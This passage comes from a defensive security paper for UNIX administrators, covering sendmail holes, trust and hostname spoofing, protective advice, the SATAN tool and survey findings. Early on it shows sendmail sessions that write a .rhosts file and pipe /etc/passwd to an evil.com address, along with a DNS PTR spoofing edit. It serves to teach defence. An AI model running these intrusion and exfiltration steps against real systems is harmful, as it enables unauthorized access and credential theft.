AdminGuideToCrackingrcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % The second hole, fixed only recently, permitted anyone to specify arbitrary shell commands and/or pathnames for the sender and/or destination address. Attempts to keep details secret were in vain, and extensive discussions in mailing lists and usenet news groups led to disclosure of how to exploit some versions of the bug. As with many UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem, since they all share a common source code tree ancestry. Space precludes us from discussing it fully, but a typical attack to get the password file might look like this: evil % telnet victim.com 25 Trying 128.128.128.1... Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail zen@evil.com < /etc/passwd" 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok rcpt to: nosuchuser 550 nosuchuser... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. evil % At the time of writing, version 8.6.4 of sendmail (see Appendix D for information on how to get this) is reportedly the only variant of sendmail with all of the recent security bugs fixed. Trust ----- For our final topic of vulnerability, we'll digress from the practical strategy we've followed previously to go a bit more into the theoretical side, and briefly discuss the notion of trust. The issues and implications of vulnerabilities here are a bit more subtle and far-reaching than what we've covered before; in the context of this paper we use the word trust whenever there is a situation when a server (note that any host that allows remote access can be called a server) can permit a local resource to be used by a client without password authentication when password authentication is normally required. In other words, we arbitrarily limit the discussion to clients in disguise. There are many ways that a host can trust: .rhosts and hosts.equiv files that allow access without password verification; window servers that allow remote systems to use and abuse privileges; export files that control access via NFS, and more. Nearly all of these rely on client IP address to hostname conversion to determine whether or not service is to be granted. The simplest method uses the /etc/hosts file for a direct lookup. However, today most hosts use either DNS (the Domain Name Service), NIS, or both for name lookup service. A reverse lookup occurs when a server has an IP address (from a client host connecting to it) and wishes to get the corresponding client hostname. Although the concept of how host trust works is well understood by most system administrators, the _dangers_ of trust, and the _practical_ problem it represents, irrespective of hostname impersonation, is one of the least understood problems we know of on the Internet. This goes far beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems -- indeed, much of the useful services in UNIX are based on the concept that well known (to an administrator or user) sites are trusted in some way. What is not understood is how networking so tightly binds security between what are normally considered disjoint hosts. Any form of trust can be spoofed, fooled, or subverted, especially when the authority that gets queried to check the credentials of the client is either outside of the server's administrative domain, or when the trust mechanism is based on something that has a weak form of authentication; both are usually the case. Obviously, if the host containing the database (either NIS, DNS, or whatever) has been compromised, the intruder can convince the target host that s/he is coming from any trusted host; it is now sufficient to find out which hosts are trusted by the target. This task is often greatly helped by examining where system administrators and system accounts (such as root, etc.) last logged in from. Going back to our target, victim.com, you note that root and some other system accounts logged in from big.victim.com. You change the PTR record for evil.com so that when you attempt to rlogin in from evil.com to victim.com, victim.com will attempt to look up your hostname and will find what you placed in the record. If the record in the DNS database looks like: 1.192.192.192.in-addr.arpa IN PTR evil.com And you change it to: 1.192.192.192.in-addr.arpa IN PTR big.victim.com then, depending on how naive victim.com's system software is, victim.com will believe the login comes from big.victim.com, and, assuming that big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be able to login without supplying a password. With NIS, it is a simple matter of either editing the host database on the NIS master (if this is controlled by the intruder) or of spoofing or forcing NIS (see discussion on NIS security above) to supply the target with whatever information you desire. Although more complex, interesting, and damaging attacks can be mounted via DNS, time and space don't allow coverage of these methods here. Two methods can be used to prevent such attacks. The first is the most direct, but perhaps the most impractical. If your site doesn't use any trust, you won't be as vulnerable to host spoofing. The other strategy is to use cryptographic protocols. Using the secure RPC protocol (used in secure NFS, NIS+, etc.) is one method; although it has been "broken" cryptographically, it still provides better assurance than RPC authentication schemes that do not use any form of encryption. Other solutions, both hardware (smartcards) and software (Kerberos), are being developed, but they are either incomplete or require changes to system software. Appendix B details the results of an informal survey taken from a variety of hosts on the Internet. Protecting the system --------------------- It is our hope that we have demonstrated that even some of the most seemingly innocuous services run can offer (sometimes unexpectedly) ammunition to determined system crackers. But, of course, if security were all that mattered, computers would never be turned on, let alone hooked into a network with literally millions of potential intruders. Rather than reiterating specific advice on what to switch on or off, we instead offer some general suggestions: o If you cannot turn off the finger service, consider installing a modified finger daemon. It is rarely necessary to reveal a user's home directory and the source of last login. o Don't run NIS unless it's absolutely necessary. Use NFS as little as possible. o Never export NFS filesystems unrestricted to the world. Try to export file systems read-only where possible. o Fortify and protect servers (e.g. hosts that provide a service to other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative accounts on these hosts. o Examine carefully services offered by inetd and the portmapper. Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd wrappers, if for no other reason than to log the sources of connections to your host. This adds immeasurably to the standard UNIX auditing features, especially with respect to network attacks. If possible, use the loghost mechanism of syslog to collect security-related information on a secure host. o Eliminate trust unless there is an absolute need for it. Trust is your enemy. o Use shadow passwords and a passwd command that disallows poor passwords. Disable or delete unused/dormant system or user accounts. o Keep abreast of current literature (see our suggested reading list and bibliography at the end of this paper) and security tools; communicate to others about security problems and incidents. At minimum, subscribe to the CERT mailing list and phrack magazine (plus the firewalls mailing list, if your site is using or thinking about installing a firewall) and read the usenet security newsgroups to get the latest information on security problems. Ignorance is the deadliest security problem we are aware of. o Install all vendor security patches as soon as possible, on all of your hosts. Examine security patch information for other vendors - many bugs (rdist, sendmail) are common to many UNIX variants. It is interesting to note that common solutions to security problems such as running Kerberos or using one-time passwords or digital tokens are ineffective against most of the attacks we discuss here. We heartily recommend the use of such systems, but be aware that they are _not_ a total security solution -- they are part of a larger struggle to defend your system. Conclusions ----------- Perhaps none of the methods shown here are surprising; when writing this paper, we didn't learn very much about how to break into systems. What we _did_ learn was, while testing these methods out on our own systems and that of friendly sites, just how effective this set of methods is for gaining access to a typical (UNIX) Internet host. Tiring of trying to type these in all by hand, and desiring to keep our own systems more secure, we decided to implement a security tool (SATAN) that attempts to check remote hosts for at least some of the problems discussed here. The typical response, when telling people about our paper and our tool was something on the order of "that sounds pretty dangerous -- I hope you're not going to give it out to everybody. But you since you can trust me, may I have a copy of it?" We never set out to create a cookbook or toolkit of methods and programs on how to break into systems -- instead, we saw that these same methods were being used, every day, against ourselves and against friendly system administrators. We believe that by propagating information that normally wasn't available to those outside of the underworld, we can increase security by raising awareness. Trying to restrict access to "dangerous" security information has never seemed to be a very effective method for increasing security; indeed, the opposite appears to be the case, since the system crackers have shown little reticence to share their information with each other. While it is almost certain that some of the information presented here is new material to (aspiring) system crackers, and that some will use it to gain unauthorized entrance onto hosts, the evidence presented even by our ad hoc tests shows that there is a much larger number of insecure sites, simply because the system administrators don't know any better -- they aren't stupid or slow, they simply are unable to spend the very little free time that they have to explore all of the security issues that pertain to their systems. Combine that with no easy access to this sort of information and you have poorly defended systems. We (modestly) hope that this paper will provide badly-needed data on how systems are broken into, and further, to explain _why_ certain steps should be taken to secure a system. Knowing why something is a problem is, in our opinion, the real key to learning and to making an informed, intelligent choice as to what security really means for your site. ---- Appendix A: SATAN (Security Analysis Tool for Auditing Networks) Originally conceived some years ago, SATAN is actually the prototype of a much larger and more comprehensive vision of a security tool. In its current incarnation, SATAN remotely probes and reports various bugs and weaknesses in network services and windowing systems, as well as detailing as much generally useful information as possible about the target(s). It then processes the data with a crude filter and what might be termed an expert system to generate the final security analysis. While not particularly fast, it is extremely modular and easy to modify. SATAN consists of several sub-programs, each of which is an executable file (perl, shell, compiled C binary, whatever) that tests a host for a given potential weakness. Adding further test programs is as simple as putting an executable into the main directory with the extension ".sat"; the driver program will automatically execute it. The driver generates a set of targets (using DNS and a fast version of ping together to get "live" targets), and then executes each of the programs over each of the targets. A data filtering/interpreting program then analyzes the output, and lastly a reporting program digests everything into a more readable format. The entire package, including source code and documentation, will be made freely available to the public, via anonymous ftp and by posting it to one of the numerous source code groups on the Usenet. ---- Appendix B: An informal survey conducted on about a dozen Internet sites (educational, military, and commercial, with over 200 hosts and 40000 accounts) revealed that on the average, close to 10 percent of a site's accounts had .rhosts files. These files averaged six trusted hosts each; however, it was not uncommon to have well over one hundred entries in an account's .rhosts file, and on a few occasions, the number was over five hundred! (This is not a record one should be proud of owning.) In addition, _every_ site directly on the internet (one site was mostly behind a firewall) trusted a user or host at another site -- thus, the security of the site was not under the system administrators direct control. The larger sites, with more users and hosts, had a lower percentage of users with .rhosts files, but the size of .rhosts files increased, as well as the number of trusted off-site hosts. Although it was very difficult to verify how many of the entries were valid, with such hostnames such as "Makefile", "Message-Id:", and "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we question the wisdom of putting a site's security in the hands of its users. Many users (especially the ones with larger .rhosts files) attempted to put shell-style comments in their .rhosts files, which most UNIX systems attempt to resolve as valid host names. Unfortunately, an attacker can then use the DNS and NIS hostname spoofing techniques discussed earlier to set their hostname to "#" and freely log in. This puts a great many sites at risk (at least one major vendor ships their systems with comments in their /etc/hosts.equiv files.) You might think that these sites were not typical, and, as a matter of fact, they weren't. Virtually all of the administrators knew a great deal about security and write security programs for a hobby or profession, and many of the sites that they worked for did either security research or created security products. We can only guess at what a "typical" site might look like. ---- Appendix C: After receiving mail from a site that had been broken into from one of our systems, an investigation was started. In time, we found that the intruder was working from a list of ".com" (commercial) sites, looking for hosts with easy-to steal password files. In this case, "easy-to-steal" referred to sites with a guessable NIS domainname and an accessible NIS server. Not knowing how far the intruder had gotten, it looked like a good idea to warn the sites that were in fact vulnerable to password file theft. Of the 656 hosts in the intruder's hit list, 24 had easy-to-steal password files -- about one in twenty-five hosts! One third of these files contained at least one password-less account with an interactive shell. With a grand total of 1594 password-file entries, a ten-minute run of a publically-available password cracker (Crack) revealed more than 50 passwords, using nothing but a low-end Sun workstation. Another 40 passwords were found within the next 20 minutes; and a root password was found in just over an hour. The result after a few days of cracking: five root passwords found, 19 out of 24 password files (eighty percent) with at least one known password, and 259 of 1594 (one in six) passwords guessed. ---- Appendix D: How to get some free security resources on the Internet Mailing lists: o The CERT (Computer Emergency Response Team) advisory mailing list. Send e-mail to cert@cert.org, and ask to be placed on their mailing list. o The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us and ask to be added to the list. o The Firewalls mailing list. Send the following line to majordomo@greatcircle.com: subscribe firewalls o Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu, asking to be placed on the list. Free Software: COPS (Computer Oracle and Password System) is available via anonymous ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+. The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in pub/security. Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28. TAMU is a UNIX auditing tool that is part of a larger suite of excellent tools put out by a group at the Texas A&M University. They can be gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU. Sources for ftpd and many other network utilities can be found in ftp.uu.net, in packages/bsd-sources. Source for ISS (Internet Security Scanner), a tool that remotely scans for various network vulnerabilities, is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume40/iss. Securelib is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume36/securelib. The latest version of berkeley sendmail is available via anonymous ftp from ftp.cs.berkeley.edu, in ucb/sendmail. Tripwire, a UNIX filesystem integrity checker+, is available via anonymous ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire. ---- Bibliography: Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts Institute of Technology, June 1987. Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992 (unpublished). Massachusetts Institute of Technology, X Window System Protocol, Version 11, 1990. Shimomura, Tsutomu, private communication. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992. ---- Suggested reading: Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", Computer Communication Review 19 (2), 1989; a comment by Stephen Kent appears in volume 19 (3), 1989. Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security", O'Reilly and Associates, Inc., 1992. Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol Study: Network Information Service", Computer Communication Review 22 (5) 1992. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four, Issue Forty-Three, File 14 of 27. Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept 1993. Schuba, Christoph, "Addressing Weaknesses in the Domain Name System Protocal", Purdue University, August 1993. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27 (8), 1984.